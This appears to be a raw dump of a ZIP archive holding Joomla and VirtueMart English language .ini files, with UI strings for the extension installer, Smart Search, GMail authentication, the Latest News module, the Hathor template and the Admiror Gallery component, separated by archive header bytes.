COM_INSTALLER_N_EXTENSIONS_UNPUBLISHED_1="%d extension successfully disabled." COM_INSTALLER_NEW_INSTALL="New install" COM_INSTALLER_NO_INSTALL_TYPE_FOUND="No Install Type Found" COM_INSTALLER_PACKAGE_DOWNLOAD_FAILED="Package download failed: %s" COM_INSTALLER_PACKAGE_FILE="Package File" COM_INSTALLER_PURGED_UPDATES="Purged updates" COM_INSTALLER_SUBMENU_DATABASE="Database" COM_INSTALLER_SUBMENU_DISCOVER="Discover" COM_INSTALLER_SUBMENU_INSTALL="Install" COM_INSTALLER_SUBMENU_MANAGE="Manage" COM_INSTALLER_SUBMENU_UPDATE="Update" COM_INSTALLER_SUBMENU_WARNINGS="Warnings" COM_INSTALLER_TITLE_DATABASE="Extension manager - Database" COM_INSTALLER_TITLE_DISCOVER="Extension manager - Discover" COM_INSTALLER_TITLE_INSTALL="Extension manager - Install" COM_INSTALLER_TITLE_LANGUAGES="Extension manager - Install Languages" COM_INSTALLER_TITLE_MANAGE="Extension manager - Manage" COM_INSTALLER_TITLE_UPDATE="Extension manager - Update" COM_INSTALLER_TITLE_WARNINGS="Extension manager - Warnings" COM_INSTALLER_TOOLBAR_DISCOVER="Discover" COM_INSTALLER_TOOLBAR_FIND_UPDATES="Find Updates" COM_INSTALLER_TOOLBAR_UPDATE="Update" COM_INSTALLER_TOOLBAR_DATABASE_FIX="Fix" COM_INSTALLER_TYPE_CLIENT="Location" COM_INSTALLER_TYPE_COMPONENT="Component" COM_INSTALLER_TYPE_FILE="File" COM_INSTALLER_TYPE_LANGUAGE="Language" COM_INSTALLER_TYPE_LIBRARY="Library" COM_INSTALLER_TYPE_MODULE="Module" COM_INSTALLER_TYPE_NONAPPLICABLE="N/A" COM_INSTALLER_TYPE_PACKAGE="Package" COM_INSTALLER_TYPE_PLUGIN="Plugin" COM_INSTALLER_TYPE_TEMPLATE="Template" COM_INSTALLER_TYPE_TYPE_COMPONENT="component" COM_INSTALLER_TYPE_TYPE_FILE="file" COM_INSTALLER_TYPE_TYPE_LANGUAGE="language" COM_INSTALLER_TYPE_TYPE_LIBRARY="library" COM_INSTALLER_TYPE_TYPE_MODULE="module" COM_INSTALLER_TYPE_TYPE_PACKAGE="package" COM_INSTALLER_TYPE_TYPE_PLUGIN="plugin" COM_INSTALLER_TYPE_TYPE_TEMPLATE="template" COM_INSTALLER_UNABLE_TO_FIND_INSTALL_PACKAGE="Unable to find install package" COM_INSTALLER_UNINSTALL_ERROR="Error uninstalling %s." COM_INSTALLER_UNINSTALL_SUCCESS="Uninstalling %s was successful." COM_INSTALLER_UPLOAD_AND_INSTALL="Upload & Install" COM_INSTALLER_UPLOAD_PACKAGE_FILE="Upload Package File" COM_INSTALLER_VALUE_CLIENT_SELECT="- Select Location -" COM_INSTALLER_VALUE_FOLDER_NONAPPLICABLE="N/A" COM_INSTALLER_VALUE_FOLDER_SELECT="- Select Folder -" COM_INSTALLER_VALUE_STATE_SELECT="- Select Status -" COM_INSTALLER_VALUE_TYPE_SELECT="- Select Type -" COM_INSTALLER_XML_DESCRIPTION="Installer component for adding, removing and upgrading extensions" JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
      Inherited means that the permissions from global configuration and parent group will be used.
      Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
      Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
      2. If you select a new setting, click Save to refresh the calculated settings." COM_INSTALLER_PREFERENCES_LABEL="Preferences" COM_INSTALLER_PREFERENCES_DESCRIPTION="Fine-tune how extensions installation and updates work" COM_INSTALLER_CACHETIMEOUT_LABEL="Updates caching (in hours)" COM_INSTALLER_CACHETIMEOUT_DESC="For how many hours should Joomla! cache extension update information" COM_INSTALLER_SUBMENU_LANGUAGES="Install languages" COM_INSTALLER_TOOLBAR_INSTALL="Install" COM_INSTALLER_TOOLBAR_FIND_LANGUAGES="Find languages" COM_INSTALLER_LANGUAGES_AVAILABLE_LANGUAGES="Available Languages" COM_INSTALLER_HEADER_LANGUAGES="Install Accredited Language Translations" COM_INSTALLER_HEADING_DETAILS_URL="Details URL" COM_INSTALLER_MSG_LANGUAGES_NOLANGUAGES="There are no available languages to install at the moment. Please click on the "Purge Cache" and "Find languages" buttons to check for updates on the Joomla Languages server. You will need an internet connection for this to work." COM_INSTALLER_LANGUAGES_FILTER_SEARCH_DESC="Search by language name." PK@y>\Uoo3language/en-GB/en-GB.plg_vmpayment_standard.sys.ininuW+A; $Id: en-GB.plg_vmpayment_standard.ini 2567 2010-10-08 14:20:50Z _fD_ $ ; @package ; @author Valerie Isaksen ; Copyright (C) 2008 VirtueMart, 2010 VirtueMart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM VMPAYMENT_STANDARD="Vm Payment plugin Standard"PK@y>\L0language/en-GB/en-GB.plg_finder_contacts.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_CONTACTS="Smart Search - Contacts" PLG_FINDER_CONTACTS_ERROR_ACTIVATING_PLUGIN="Could not automatically activate the "_QQ_"Smart Search - Contacts"_QQ_" plugin" PLG_FINDER_CONTACTS_XML_DESCRIPTION="This plugin indexes Joomla! Contacts." PK@y>\MUss%language/en-GB/en-GB.mod_menu.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_MENU="Administrator Menu" MOD_MENU_XML_DESCRIPTION="This module shows the main admin navigation module" MOD_MENU_LAYOUT_DEFAULT="Default" PK@y>\{YV''+language/en-GB/en-GB.plg_finder_content.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_CONTENT="Smart Search - Content" PLG_FINDER_CONTENT_XML_DESCRIPTION="This plugin indexes Joomla! Articles." PLG_FINDER_QUERY_FILTER_BRANCH_S_ARTICLE="Article" PLG_FINDER_QUERY_FILTER_BRANCH_S_AUTHOR="Author" PLG_FINDER_QUERY_FILTER_BRANCH_P_ARTICLE="Articles" PLG_FINDER_QUERY_FILTER_BRANCH_P_AUTHOR="Authors" PK@y>\r0"<language/en-GB/en-GB.plg_vmshipment_weight_countries.sys.ininuW+A; @date : $Date$ ; @Id $Id$ ; @Revision : $Revision$ ; @author Valerie Isaksen ; @package VMSHIPMENT ; @subpackage VirtueMart Shipper VMSHIPMENT_WEIGHT_COUNTRIES="Vm Shipment plugin Weight/Nb of Products/Countries"PK@y>\Z1language/en-GB/en-GB.plg_authentication_gmail.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_AUTHENTICATION_GMAIL="Authentication - GMail" PLG_GMAIL_ERROR_ACCOUNT_DISABLED_OR_NOT_ACTIVATED="Your local account is disabled or not activated" PLG_GMAIL_ERROR_LOCAL_USERNAME_CONFLICT="A local username conflicts with your GMail user" PLG_GMAIL_FIELD_APPLYSUFFIX_DESC="Options for applying the suffix: Don't apply the suffix, only apply the suffix if missing (any user supplied suffix will be used) or always apply the suffix replacing any user supplied suffix" PLG_GMAIL_FIELD_APPLYSUFFIX_LABEL="Apply Username Suffix" PLG_GMAIL_FIELD_BACKEND_LOGIN_DESC="Allow backend login via GMail account?" PLG_GMAIL_FIELD_BACKEND_LOGIN_LABEL="Backend login" PLG_GMAIL_FIELD_SUFFIX_DESC="A suffix to use for the username, typically gmail.com (or googlemail.com) is the suffix but you may wish to use a Google Apps for Your Domain suffix. This doesn't include the @ symbol, if left blank username suffix will be ignored." PLG_GMAIL_FIELD_SUFFIX_LABEL="Username Suffix" PLG_GMAIL_FIELD_USER_BLACKLIST_DESC="A list of usernames not permitted to log in via the GMail plugin. The user names should be separated by a comma." PLG_GMAIL_FIELD_USER_BLACKLIST_LABEL="User Blacklist" PLG_GMAIL_FIELD_VALUE_APPLYSUFFIXALWAYS="Always use suffix" PLG_GMAIL_FIELD_VALUE_APPLYSUFFIXMISSING="Apply suffix if missing" PLG_GMAIL_FIELD_VALUE_NOAPPLYSUFFIX="Don't Apply Suffix" PLG_GMAIL_FIELD_VERIFYPEER_DESC="Verify the peer connection using a CA certificate. In some situations authentication will fail due to certificate issues, disabling this should resolve the situation in that case." PLG_GMAIL_FIELD_VERIFYPEER_LABEL="Verify Peer" PLG_GMAIL_XML_DESCRIPTION="Handles User Authentication with a GMail or Googlemail account (Requires cURL)
      Warning! You must have at least one authentication plugin enabled or you will lose all access to your site."PK@y>\fG$language/en-GB/en-GB.mod_version.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_VERSION="Joomla! Version Information" MOD_VERSION_FORMAT_DESC="The long version includes code name and date" MOD_VERSION_FORMAT_LABEL="Version format" MOD_VERSION_FORMAT_LONG="Long" MOD_VERSION_FORMAT_SHORT="Short" MOD_VERSION_PRODUCT_DESC="Include the text string "_QQ_"Joomla!"_QQ_" when using short format" MOD_VERSION_PRODUCT_LABEL="Show Joomla!" MOD_VERSION_XML_DESCRIPTION="This module displays the Joomla! version."PK@y>\3zGG&language/en-GB/en-GB.com_admin.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_ADMIN="Admin - System Infos" COM_ADMIN_XML_DESCRIPTION="Administration system infos component" PK@y>\$))4language/en-GB/en-GB.plg_vmpayment_systempay.sys.ininuW+AVMPAYMENT_SYSTEMPAY="Vmpayment SystemPay"PK@y>\H(language/en-GB/en-GB.com_wrapper.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_WRAPPER="Wrapper" COM_WRAPPER_XML_DESCRIPTION="Displays an iframe to wrap an external page or site into Joomla!" COM_WRAPPER_WRAPPER_VIEW_DEFAULT_DESC="Displays a URL in an Iframe" COM_WRAPPER_WRAPPER_VIEW_DEFAULT_OPTION="Default" COM_WRAPPER_WRAPPER_VIEW_DEFAULT_TITLE="Iframe Wrapper" PK@y>\Ch5#language/en-GB/en-GB.mod_latest.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_LATEST="Latest News" MOD_LATEST_CREATED="Created" MOD_LATEST_CREATED_BY="Created By" MOD_LATEST_FIELD_AUTHORS_DESC="A filter for the Authors" MOD_LATEST_FIELD_AUTHORS_LABEL="Authors" MOD_LATEST_FIELD_CATEGORY_DESC="Select Articles from a specific Category or set of Categories." MOD_LATEST_FIELD_COUNT_DESC="The number of items to display (default 5)" MOD_LATEST_FIELD_COUNT_LABEL="Count" MOD_LATEST_FIELD_ORDERING_DESC="Ordering options" MOD_LATEST_FIELD_ORDERING_LABEL="Order" MOD_LATEST_FIELD_VALUE_AUTHORS_ANYONE="Anyone" MOD_LATEST_FIELD_VALUE_AUTHORS_BY_ME="Added or modified by me" MOD_LATEST_FIELD_VALUE_AUTHORS_NOT_BY_ME="Not added or modified by me" MOD_LATEST_FIELD_VALUE_ORDERING_ADDED="Recently Added First" MOD_LATEST_FIELD_VALUE_ORDERING_MODIFIED="Recently Modified First" MOD_LATEST_LATEST_ITEMS="Latest Items" MOD_LATEST_NO_MATCHING_RESULTS="No Matching Results" MOD_LATEST_TITLE="Recently Created Articles" MOD_LATEST_TITLE_CREATED="Last Added Articles" MOD_LATEST_TITLE_CREATED_1="Last Added Article" MOD_LATEST_TITLE_CREATED_MORE="Last %1$s Added Articles" MOD_LATEST_TITLE_CREATED_NOT_ME="Last Added Articles Not By Me" MOD_LATEST_TITLE_CREATED_NOT_ME_1="Last Added Article Not By Me" MOD_LATEST_TITLE_CREATED_NOT_ME_MORE="Last %1$s Added Articles Not By Me" MOD_LATEST_TITLE_CREATED_BY_ME="Last Added Articles By Me" MOD_LATEST_TITLE_CREATED_BY_ME_1="Last Added Article By Me" MOD_LATEST_TITLE_CREATED_BY_ME_MORE="Last %1$s Added Articles By Me" MOD_LATEST_TITLE_CREATED_CATEGORY="Last Added Articles (%2$s category)" MOD_LATEST_TITLE_CREATED_CATEGORY_1="Last Added Article (%2$s category)" MOD_LATEST_TITLE_CREATED_CATEGORY_MORE="Last %1$s Added Articles (%2$s category)" MOD_LATEST_TITLE_CREATED_CATEGORY_BY_ME="Last Added Articles By Me (%2$s category)" MOD_LATEST_TITLE_CREATED_CATEGORY_BY_ME_1="Last Added Article By Me (%2$s category)" MOD_LATEST_TITLE_CREATED_CATEGORY_BY_ME_MORE="Last %1$s Added Articles By Me (%2$s category)" MOD_LATEST_TITLE_CREATED_CATEGORY_NOT_ME="Last Added Articles Not By Me (%2$s category)" MOD_LATEST_TITLE_CREATED_CATEGORY_NOT_ME_1="Last Added Article Not By Me (%2$s category)" MOD_LATEST_TITLE_CREATED_CATEGORY_NOT_ME_MORE="Last %1$s Added Articles Not By Me (%2$s category)" MOD_LATEST_TITLE_MODIFIED="Last Modified Articles" MOD_LATEST_TITLE_MODIFIED_1="Last Modified Article" MOD_LATEST_TITLE_MODIFIED_MORE="Last %1$s Modified Articles" MOD_LATEST_TITLE_MODIFIED_BY_ME="Last Modified Articles By Me" MOD_LATEST_TITLE_MODIFIED_BY_ME_1="Last Modified Article By Me" MOD_LATEST_TITLE_MODIFIED_BY_ME_MORE="Last %1$s Modified Articles By Me" MOD_LATEST_TITLE_MODIFIED_NOT_ME="Last Modified Articles Not By Me" MOD_LATEST_TITLE_MODIFIED_NOT_ME_1="Last Modified Article Not By Me" MOD_LATEST_TITLE_MODIFIED_NOT_ME_MORE="Last %1$s Modified Articles Not By Me" MOD_LATEST_TITLE_MODIFIED_CATEGORY="Last Modified Articles (%2$s category)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_1="Last Modified Article (%2$s category)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_MORE="Last %1$s Modified Articles (%2$s category)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_BY_ME="Last Modified Articles By Me (%2$s category)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_BY_ME_1="Last Modified Article By Me (%2$s category)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_BY_ME_MORE="Last %1$s Modified Articles By Me (%2$s category)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_NOT_ME="Last Modified Articles Not By Me (%2$s category)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_NOT_ME_1="Last Modified Article Not By Me (%2$s category)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_NOT_ME_MORE="Last %1$s Modified Articles Not By Me (%2$s category)" MOD_LATEST_UNEXISTING="Unexisting" MOD_LATEST_XML_DESCRIPTION="This Module shows a list of the most recently published Articles that are still current. Some that are shown may have expired even though they are the most recent." PK@y>\%+ee1language/en-GB/en-GB.plg_editors-xtd_readmore.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EDITORS-XTD_READMORE="Button - Readmore" PLG_READMORE_ALREADY_EXISTS="There is already a Read more... link that has been inserted. Only one such link is permitted. Use {pagebreak} to split the page up further." PLG_READMORE_BUTTON_READMORE="Read More" PLG_READMORE_XML_DESCRIPTION="Enables a button which allows you to easily insert the Read more... link into an Article."PK@y>\f2language/en-GB/en-GB.plg_finder_categories.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_CATEGORIES="Smart Search - Categories" PLG_FINDER_CATEGORIES_ERROR_ACTIVATING_PLUGIN="Could not automatically activate the "_QQ_"Smart Search - Categories"_QQ_" plugin" PLG_FINDER_CATEGORIES_XML_DESCRIPTION="This plugin indexes Joomla! Categories." PK@y>\`BB#language/en-GB/en-GB.tpl_hathor.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM HATHOR="Hathor Administrator template" TPL_HATHOR_ALTERNATE_MENU_DESC="Use the alternative menu which integrates mouse and keyboard. JavaScript Required. (The regular menu for Hathor is accessible with or without Javascript, but leaves the mouse and keyboard independent.)" TPL_HATHOR_ALTERNATE_MENU_LABEL="Alternative Menu" TPL_HATHOR_BOLD_TEXT_DESC="Use bold text" TPL_HATHOR_BOLD_TEXT_LABEL="Bold Text" TPL_HATHOR_COLOUR_CHOICE_DESC="Select the colour palette to use with the template. You can use this option to select a high contrast version or use it to create custom branding." TPL_HATHOR_COLOUR_CHOICE_LABEL="Select Colour" TPL_HATHOR_COLOUR_CHOICE_STANDARD="Standard" TPL_HATHOR_COLOUR_CHOICE_HIGH_CONTRAST="High Contrast" TPL_HATHOR_COLOUR_CHOICE_BROWN="Brown" TPL_HATHOR_COLOUR_CHOICE_BLUE="Blue" TPL_HATHOR_COM_MENUS_MENU="Menu" TPL_HATHOR_COM_MODULES_CUSTOM_POSITION_LABEL="Select" TPL_HATHOR_CPANEL_LINK_TEXT="Return to Control Panel" TPL_HATHOR_GO="Go" TPL_HATHOR_MAIN_MENU="Main Menu" TPL_HATHOR_SHOW_SITE_NAME_DESC="Show the site name in the template header" TPL_HATHOR_SHOW_SITE_NAME_LABEL="Show Site Name" TPL_HATHOR_SKIP_TO_MAIN_CONTENT="Skip to Main Content" TPL_HATHOR_SUB_MENU="Sub Menu" TPL_HATHOR_XML_DESCRIPTION="Hathor is an accessible administrator template for Joomla!. The Colour CSS files can also be used for custom colour branding."PK@y>\e...+language/en-GB/en-GB.com_admirorgallery.ininuW+A; version 1.5.x 2005-10-30 14:10:00 ; Joomla! Project ; copyright Copyright (C) 2005 - 2006 Open Source Matters. All rights reserved. ; license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_ADMIRORGALLERY_APPLY_DESC="Apply" COM_ADMIRORGALLERY_RESET_DESC="Reset" AG_COMPONENT_VERSION="Component Version:" AG_PLUGIN_VERSION="Plugin Version:" AG_BUTTON_VERSION="Button Version:" AG_ADMIRORGALLERY_DESCRIPTION="

      Admiror Gallery

      Admiror Gallery renders image gallery from folder with images. It supports jpg, jpeg, png and gif images.

      Create your folder inside Images Root Folder and place images for gallery inside this folder.Usually Images Root Folder is /images/sampledata/ folder.

      Put {AG}name_of_your_folder{/AG} inside your article.

      Creation of thumb images is automatic, if user opens the page with AdmirorGallery and there are new images or size changed. It''s recommended to admin to opens page with AdmirorGallery toexecute changes instead of user. Admiror Gallery consists of 3 mayor elements: Templates, Popupsand Image manager.

      For more information visit Admiror Gallery Webpage or Admiror Gallery Community.

      Templates are standard look and feel of gallery. Usually it''s a set of small thumbnails with descriptions.

      Popups is wrapper for showing larger image, which is usuallyinitiated by clicking on thumbnail image.

      Image manager enables you to add, delete, rename the images, you can enter a descriptionfor images and have different description for each of installed site languages.

      Copyright

      Admiror Gallery is free software. You can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3, or (at your option) any later version.

      * This program is distributed in the hope that it will be useful, but WITHOUTANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the GNU General Public License for more details.


      " ; Plugin Params AG_BASIC_SETTINGS="BASIC SETTINGS" AG_IMAGES_ROOT_FOLDER="Images Root Folder" AG_IMAGES_ROOT_FOLDER_DESC="Set the path to the folder you keep your images, relative to your site root. Default value is /images/stories/." AG_THUMBNAIL_WIDTH="Thumbnail Width" AG_THUMBNAIL_WIDTH_DESC="Adjust the maximum width thumbnail width in pixels." AG_THUMBNAIL_HEIGHT="Thumbnail Height" AG_THUMBNAIL_HEIGHT_DESC="Adjust the maximum image thumbnail height in pixels." AG_THUMBNAIL_AUTO_SIZE="Thumbnail Auto Size" AG_THUMBNAIL_AUTO_SIZE_DESC="Auto size for one of dimensions, keeping proportions of original image." AG_WIDTH="Width" AG_HEIGHT="Height" AG_NONE="None" AG_GALLERY_TEMPLATE="Gallery Template" AG_GALLERY_TEMPLATE_DESC="Select Gallery Template." AG_POPUP_ENGINE="Popup Engine" AG_POPUP_ENGINE_DESC="Select Popup Engine." AG_ARRANGE_IMAGES_BY="Arrange Images by" AG_ARRANGE_IMAGES_BY_DESC="Select one of image arrange algorithm." AG_PRIORITY="Priority" AG_DATE="Date" AG_NAME="Name" AG_GALLERY_COLORS="GALLERY COLORS" AG_GALLERY_BACKGROUND_COLOR="Background Color" AG_GALLERY_BACKGROUND_COLOR_DESC="This color is used for background in some templates. Enter 6 digit hex code only." AG_GALLERY_FOREGROUND_COLOR="Foreground Color" AG_GALLERY_FOREGROUND_COLOR_DESC="This color is used for borders and texts in some templates. Enter 6 digit hex code only." AG_GALLERY_HIGHLITE_COLOR="Highlite Color" AG_GALLERY_HIGHLITE_COLOR_DESC="This color is used for hover highlite in some templates. Enter 6 digit hex code only." AG_GALLERY_FRAME_SIZE="GALLERY FRAME SIZE" AG_GALLERY_FRAME_WIDTH="Frame Width" AG_GALLERY_FRAME_WIDTH_DESC="Adjust gallery frame width in pixels." AG_GALLERY_FRAME_HEIGHT="Frame Height" AG_GALLERY_FRAME_HEIGHT_DESC="Adjust gallery frame height in pixels." AG_NEW_IMAGES_SETTINGS="NEW IMAGES" AG_MARK_NEW_IMAGES="Mark New Images" AG_MARK_NEW_IMAGES_DESC="Adding small tag on image thumbnails for images old one week." AG_YES="Yes" AG_NO="No" AG_NEW_IMAGE_DAYS_LIMIT="New Image Days Limit" AG_NEW_IMAGE_DAYS_LIMIT_DESC="Set number of days for which image is consider as new." AG_PAGINATION_SETTINGS="PAGINATION SETTINGS" AG_USE_PAGINATION="Use Pagination" AG_USE_PAGINATION_DESC="Activate pagination system. It filter current set of images and generate pagination links." AG_IMAGES_PER_GALLERY="Images Per Gallery" AG_IMAGES_PER_GALLERY_DESC="Enter number of images per single gallery." AG_ALBUMS_SETTINGS="ALBUMS SETTINGS" AG_USE_ALBUMS="Use Albums" AG_USE_ALBUMS_DESC="Activate albums system. It filter child folders for current gallery and render them as albums with images." AG_ADDITIONAL_SETTINGS="ADDITIONAL SETTINGS" AG_SHOW_SIGNATURE="Show Signature" AG_SHOW_SIGNATURE_DESC="Show Admiror Gallery label on bottom of the page which using this plugin." AG_USE_PLAIN_TEXT_CAPTIONS="Plain Text Captions" AG_USE_PLAIN_TEXT_CAPTIONS_DESC="It''s possible to use rich text captions, but avoid using double qoutes in tag attributes. There is a risk that some Templates or Popups doesn''t support rich text captions." AG_IGNORE_INVALID_IMAGE="Ignore invalid image" AG_IGNORE_INVALID_IMAGE_DESC="Ignores errors if image is corrupted." AG_IGNORE_NOTICE_OF_RECOVERABLE_ERRORS="Ignore notice of recoverable errors" AG_IGNORE_NOTICE_OF_RECOVERABLE_ERRORS_DESC="If you get Notice: imagecreatefromjpeg() [function.imagecreatefromjpeg] you can stop this notice from appering on your page." ; Plugin Errors ; Templates & Popups Manager AG_SELECT_TEMPLATE_TO_INSTALL="Select ZIP package to install" AG_TITLE="Title" AG_ID="ID" AG_DESCRIPTION="Description" AG_VERSION="Version" AG_DATE="Date" AG_AUTHOR="Author" AG_UNDATED="Undated" AG_UNKNOWN_AUTHOR="Unknown author" AG_UNKNOWN_VERSION="Unknown version" AG_NO_DESCRITION="No Descrition" ;Image Manager AG_SHOW_SIDEBAR="Show Sidebar" AG_HIDE_SIDEBAR="Hide Sidebar" AG_PREVIOUS_IMAGE="Previous Image" AG_NEXT_IMAGE="Next Image" AG_IMAGE_DETAILS_FOR_FILE="Image Details for file:" AG_GALLERIES="Galleries" AG_LEGEND="Legend" AG_CURRENT_FOLDER="Current Folder:" AG_OPERATION_WITH_SELECTED_ITEMS="Operation With Selected Items:" AG_NONE="None" AG_UPLOAD_IMAGES_JPG_JPEG_GIF_PNG_OR_ZIP="Upload images (jpg, jpeg, gif, png or zip)" AG_MAX="Max" AG_CREATE_FOLDERS="Create folders:" AG_ADD="Add" AG_SELECTED_ITEMS_WILL_BE_DELETED="Selected items will be deleted!" AG_SELECT_FILE_OR_FOLDER="Select File Or Folder." AG_IMAGE_HAS_THUMBNAIL_CREATED="Image has thumbnail created." AG_IMAGE_HAS_ADDITIONAL_DETAILS_SAVED="Image has additional details saved." AG_IMG_WIDTH="Width" AG_IMG_HEIGHT="Height" AG_IMG_TYPE="Type" AG_IMG_SIZE="Size" AG_NONE="None" AG_DELETE="Delete" AG_COPY_TO="Copy to" AG_MOVE_TO="Move to" AG_BOOKMARK="Bookmark" AG_SHOW="Set to Visible" AG_HIDE="Set to Hidden" AG_VISIBLE="Visibile" AG_HIDDEN="Hidden" AG_EDIT_FOLDER_CAPTIONS="Edit Folder Captions" AG_CLOSE_FOLDER_CAPTIONS="Close Folder Captions" AG_FOLDER_THUMB="Folder Thumb" AG_SELECT_TO_REMOVE_BOOKMARK="Select to remove bookmark." ;Errors and Notifications AG_PARAMS_UPDATED="Params Updated." AG_CANNOT_ACCESS_TO_DATABASE="Cannot Access to Database." AG_PACKAGE_REMOVED="Package removed." AG_PACKAGE_CANNOT_BE_REMOVED="Package cannot be removed:" AG_ZIP_PACKAGE_IS_INSTALLED="ZIP package is installed:" AG_ZIP_PACKAGE_IS_NOT_VALID_RESOURCE_TYPE="ZIP package is not valid resource type:" AG_CANNOT_UPLOAD_FILE_TO_TEMP_FOLDER_PLEASE_CHECK_PERMISSIONS="Cannot upload file to temp folder. Please check permissions." AG_ONLY_ZIP_ARCHIVES_CAN_BE_INSTALLED="Only zip archives can be installed." AG_ZIP_PACKAGE_IS_UPLOADED_AND_EXTRACTED="ZIP package is uploaded and extracted:" AG_IMAGE_IS_UPLOADED="Image is uploaded:" AG_CANNOT_UPLOAD_FILE="Cannot upload file:" AG_AG_ONLY_JPG_JPEG_GIF_PNG_AND_ZIP_ARE_VALID_EXTENSIONS="Only jpg, jpeg, gif, png and zip are valid extensions." AG_IMAGE_RENAMED="Image renamed:" AG_CANNOT_RENAME_IMAGE="Cannot rename image:" AG_FILE_WITH_THE_SAME_NAME_ALREADY_EXISTS="File with the same name already exists." AG_FOLDER_RENAMED="Folder renamed:" AG_CANNOT_RENAME_FOLDER="Cannot rename Folder:" AG_FOLDER_WITH_THE_SAME_NAME_ALREADY_EXISTS="Folder with the same name already exists." AG_CAPTIONS_REMOVED_FROM_IMAGE_DETAILS_FILE="Captions removed from Image Details file." AG_CANNOT_REMOVE_CAPTIONS_FROM_IMAGE_DETAILS_FILE="Cannot remove captions from Image Details file." AG_NO_IMAGE_DETAILS_FILE_FOUNDED="No Image Details file founded:" AG_NO_IMAGE_SELECTED="No image selected." AG_ITEM_COPIED="Item Copied:" AG_CANNOT_COPY_ITEM="Cannot Copy Item:" AG_ITEM_MOVED="Item Moved:" AG_CANNOT_MOVED_ITEM="Cannot Moved Item:" AG_ITEM_DELETED="Item deleted:" AG_CANNOT_DELETE_ITEM="Cannot delete item:" AG_ITEM_DELETED="Item deleted:" AG_CANNOT_DELETE_ITEM="Cannot delete item:" AG_DESCRIPTION_FILE_CREATED="Description file created:" AG_CANNOT_WRITE_DESCRIPTION_FILE="Cannot write description file:" AG_PRIORITY_MUST_BE_NUMERIC_VALUE_FOR_IMAGE="Priority must be numeric value for image:" AG_FOLDER_CREATED="Folder created:" AG_CANNOT_CREATE_FOLDER="Cannot create folder." AG_FOLDER_ALREADY_EXISTS="Folder already exists:" AG_DESCRIPTION_FILE_CREATED="Description file created:" AG_CANNOT_WRITE_DESCRIPTION_FILE="Cannot write description file:" AG_GALLERY_REMOVED_FROM_LISTING="Gallery removed from listing:" AG_CANNOT_WRITE_GALLERY_LISTING="Cannot write gallery listing:" AG_GALLERY_ADDED="Gallery added:" AG_CANNOT_WRITE_GALLERY_LISTING="Cannot write gallery listing:" AG_GALLERY_ALREADY_EXISTS="Gallery already exists:" AG_NO_FOLDER_SELECTED="No folder selected." AG_NO_FOLDERS_OR_IMAGES_FOUND_IN_CURRENT_FOLDER="No folders or images found in current folder ..." AG_FOLDER_OR_IMAGE_NOT_FOUND="Folder or image not found."; COM_PLUGIN_NOT_INSTALLED="Admiror Gallery plugin is not installed! You need to install it to be able to use the component." ;Back-End Button AG_FOLDERS="Folders" AG_PARAMETERS="Parametes" COM_ADMIRORGALLERY="Admiror Gallery" COM_ADMIRORGALLERY_CONTROL_PANEL="Control Panel" COM_ADMIRORGALLERY_TEMPLATES="Templates" COM_ADMIRORGALLERY_POPUPS="Popups" COM_ADMIRORGALLERY_IMAGE_MANAGER="Image Manager" PK@y>\}')$language/en-GB/en-GB.mod_akadmin.ininuW+A;; @package 